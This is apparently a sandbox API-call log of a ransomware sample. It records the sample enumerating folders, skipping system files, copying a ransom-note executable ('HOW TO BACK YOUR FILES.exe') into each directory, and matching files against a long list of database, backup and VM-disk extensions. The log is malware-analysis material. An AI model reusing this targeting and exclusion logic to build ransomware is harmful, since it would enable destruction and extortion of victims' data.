	[0039.931] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe8d810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.931] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.931] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.931] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.931] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe8d810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.931] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.931] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.931] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.931] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.931] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fe8d810, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.931] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.931] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0039.931] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.931] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Apollon865.txt.exe") returned -1
	[0039.931] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2=".") returned 1
	[0039.931] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="..") returned 1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="windows") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="bootmgr") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="temp") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="pagefile.sys") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="boot") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="ids.txt") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="ntuser.dat") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="perflogs") returned -1
	[0039.932] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="MSBuild") returned -1
	[0039.932] lstrlenW (lpString="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 38
	[0039.932] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*") returned 50
	[0039.932] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0039.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0039.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599450
	[0039.932] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0039.932] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Apollon865.txt.exe") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2=".") returned 1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="..") returned 1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="windows") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="bootmgr") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="temp") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="pagefile.sys") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="boot") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="ids.txt") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="ntuser.dat") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="perflogs") returned -1
	[0039.932] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="MSBuild") returned -1
	[0039.932] lstrlenW (lpString="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 38
	[0039.932] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 87
	[0039.932] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0039.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0039.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599508
	[0039.932] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0039.932] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0039.933] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.933] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0039.933] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0039.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599508 | out: hHeap=0x580000) returned 1
	[0039.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0039.933] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 87
	[0039.933] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0039.933] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.967] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.967] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.967] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.967] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.967] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.967] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.967] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.967] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.967] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.967] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.967] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0039.967] lstrcmpiW (lpString1="background.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.967] lstrcmpiW (lpString1="background.png", lpString2="Apollon865.txt.exe") returned 1
	[0039.967] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0039.967] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0039.967] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1
	[0039.967] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1
	[0039.967] lstrcmpiW (lpString1="background.png", lpString2="temp") returned -1
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2="pagefile.sys") returned -1
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2="boot") returned -1
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2="ids.txt") returned -1
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2="perflogs") returned -1
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2="MSBuild") returned -1
	[0039.968] lstrlenW (lpString="background.png") returned 14
	[0039.968] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned 89
	[0039.968] lstrcpyW (in: lpString1=0x2d3e600, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0039.968] lstrlenW (lpString="background.png") returned 14
	[0039.968] lstrlenW (lpString="Apollon865") returned 10
	[0039.968] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0039.968] lstrlenW (lpString=".dll") returned 4
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2=".dll") returned 1
	[0039.968] lstrlenW (lpString=".lnk") returned 4
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2=".lnk") returned 1
	[0039.968] lstrlenW (lpString=".ini") returned 4
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2=".ini") returned 1
	[0039.968] lstrlenW (lpString=".sys") returned 4
	[0039.968] lstrcmpiW (lpString1="background.png", lpString2=".sys") returned 1
	[0039.968] lstrlenW (lpString="background.png") returned 14
	[0039.968] lstrlenW (lpString="bak") returned 3
	[0039.968] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0039.968] lstrlenW (lpString="ba_") returned 3
	[0039.968] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0039.968] lstrlenW (lpString="dbb") returned 3
	[0039.968] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0039.968] lstrlenW (lpString="vmdk") returned 4
	[0039.968] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0039.968] lstrlenW (lpString="rar") returned 3
	[0039.968] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0039.968] lstrlenW (lpString="zip") returned 3
	[0039.968] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0039.968] lstrlenW (lpString="tgz") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0039.969] lstrlenW (lpString="vbox") returned 4
	[0039.969] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0039.969] lstrlenW (lpString="vdi") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0039.969] lstrlenW (lpString="vhd") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0039.969] lstrlenW (lpString="vhdx") returned 4
	[0039.969] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0039.969] lstrlenW (lpString="avhd") returned 4
	[0039.969] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0039.969] lstrlenW (lpString="db") returned 2
	[0039.969] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0039.969] lstrlenW (lpString="db2") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0039.969] lstrlenW (lpString="db3") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0039.969] lstrlenW (lpString="dbf") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0039.969] lstrlenW (lpString="mdf") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0039.969] lstrlenW (lpString="mdb") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0039.969] lstrlenW (lpString="sql") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0039.969] lstrlenW (lpString="sqlite") returned 6
	[0039.969] lstrcmpiW (lpString1="nd.png", lpString2="sqlite") returned -1
	[0039.969] lstrlenW (lpString="sqlite3") returned 7
	[0039.969] lstrcmpiW (lpString1="und.png", lpString2="sqlite3") returned 1
	[0039.969] lstrlenW (lpString="sqlitedb") returned 8
	[0039.969] lstrcmpiW (lpString1="ound.png", lpString2="sqlitedb") returned -1
	[0039.969] lstrlenW (lpString="xml") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0039.969] lstrlenW (lpString="$er") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0039.969] lstrlenW (lpString="4dd") returned 3
	[0039.969] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0039.970] lstrlenW (lpString="4dl") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0039.970] lstrlenW (lpString="^^^") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0039.970] lstrlenW (lpString="abs") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0039.970] lstrlenW (lpString="abx") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0039.970] lstrlenW (lpString="accdb") returned 5
	[0039.970] lstrcmpiW (lpString1="d.png", lpString2="accdb") returned 1
	[0039.970] lstrlenW (lpString="accdc") returned 5
	[0039.970] lstrcmpiW (lpString1="d.png", lpString2="accdc") returned 1
	[0039.970] lstrlenW (lpString="accde") returned 5
	[0039.970] lstrcmpiW (lpString1="d.png", lpString2="accde") returned 1
	[0039.970] lstrlenW (lpString="accdr") returned 5
	[0039.970] lstrcmpiW (lpString1="d.png", lpString2="accdr") returned 1
	[0039.970] lstrlenW (lpString="accdt") returned 5
	[0039.970] lstrcmpiW (lpString1="d.png", lpString2="accdt") returned 1
	[0039.970] lstrlenW (lpString="accdw") returned 5
	[0039.970] lstrcmpiW (lpString1="d.png", lpString2="accdw") returned 1
	[0039.970] lstrlenW (lpString="accft") returned 5
	[0039.970] lstrcmpiW (lpString1="d.png", lpString2="accft") returned 1
	[0039.970] lstrlenW (lpString="adb") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0039.970] lstrlenW (lpString="adb") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0039.970] lstrlenW (lpString="ade") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0039.970] lstrlenW (lpString="adf") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0039.970] lstrlenW (lpString="adn") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0039.970] lstrlenW (lpString="adp") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0039.970] lstrlenW (lpString="alf") returned 3
	[0039.970] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0039.970] lstrlenW (lpString="ask") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0039.971] lstrlenW (lpString="btr") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0039.971] lstrlenW (lpString="cat") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0039.971] lstrlenW (lpString="cdb") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0039.971] lstrlenW (lpString="ckp") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0039.971] lstrlenW (lpString="cma") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0039.971] lstrlenW (lpString="cpd") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0039.971] lstrlenW (lpString="dacpac") returned 6
	[0039.971] lstrcmpiW (lpString1="nd.png", lpString2="dacpac") returned 1
	[0039.971] lstrlenW (lpString="dad") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0039.971] lstrlenW (lpString="dadiagrams") returned 10
	[0039.971] lstrcmpiW (lpString1="ground.png", lpString2="dadiagrams") returned 1
	[0039.971] lstrlenW (lpString="daschema") returned 8
	[0039.971] lstrcmpiW (lpString1="ound.png", lpString2="daschema") returned 1
	[0039.971] lstrlenW (lpString="db-journal") returned 10
	[0039.971] lstrcmpiW (lpString1="ground.png", lpString2="db-journal") returned 1
	[0039.971] lstrlenW (lpString="db-shm") returned 6
	[0039.971] lstrcmpiW (lpString1="nd.png", lpString2="db-shm") returned 1
	[0039.971] lstrlenW (lpString="db-wal") returned 6
	[0039.971] lstrcmpiW (lpString1="nd.png", lpString2="db-wal") returned 1
	[0039.971] lstrlenW (lpString="dbc") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0039.971] lstrlenW (lpString="dbs") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0039.971] lstrlenW (lpString="dbt") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0039.971] lstrlenW (lpString="dbv") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0039.971] lstrlenW (lpString="dbx") returned 3
	[0039.971] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0039.971] lstrlenW (lpString="dcb") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0039.972] lstrlenW (lpString="dct") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0039.972] lstrlenW (lpString="dcx") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0039.972] lstrlenW (lpString="ddl") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0039.972] lstrlenW (lpString="dlis") returned 4
	[0039.972] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0039.972] lstrlenW (lpString="dp1") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0039.972] lstrlenW (lpString="dqy") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0039.972] lstrlenW (lpString="dsk") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0039.972] lstrlenW (lpString="dsn") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0039.972] lstrlenW (lpString="dtsx") returned 4
	[0039.972] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0039.972] lstrlenW (lpString="dxl") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0039.972] lstrlenW (lpString="eco") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0039.972] lstrlenW (lpString="ecx") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0039.972] lstrlenW (lpString="edb") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0039.972] lstrlenW (lpString="epim") returned 4
	[0039.972] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0039.972] lstrlenW (lpString="fcd") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0039.972] lstrlenW (lpString="fdb") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0039.972] lstrlenW (lpString="fic") returned 3
	[0039.972] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0039.972] lstrlenW (lpString="flexolibrary") returned 12
	[0039.972] lstrcmpiW (lpString1="ckground.png", lpString2="flexolibrary") returned -1
	[0039.972] lstrlenW (lpString="fm5") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0039.973] lstrlenW (lpString="fmp") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0039.973] lstrlenW (lpString="fmp12") returned 5
	[0039.973] lstrcmpiW (lpString1="d.png", lpString2="fmp12") returned -1
	[0039.973] lstrlenW (lpString="fmpsl") returned 5
	[0039.973] lstrcmpiW (lpString1="d.png", lpString2="fmpsl") returned -1
	[0039.973] lstrlenW (lpString="fol") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0039.973] lstrlenW (lpString="fp3") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0039.973] lstrlenW (lpString="fp4") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0039.973] lstrlenW (lpString="fp5") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0039.973] lstrlenW (lpString="fp7") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0039.973] lstrlenW (lpString="fpt") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0039.973] lstrlenW (lpString="frm") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0039.973] lstrlenW (lpString="gdb") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0039.973] lstrlenW (lpString="gdb") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0039.973] lstrlenW (lpString="grdb") returned 4
	[0039.973] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0039.973] lstrlenW (lpString="gwi") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0039.973] lstrlenW (lpString="hdb") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0039.973] lstrlenW (lpString="his") returned 3
	[0039.973] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0039.973] lstrlenW (lpString="ib") returned 2
	[0039.973] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0039.973] lstrlenW (lpString="idb") returned 3
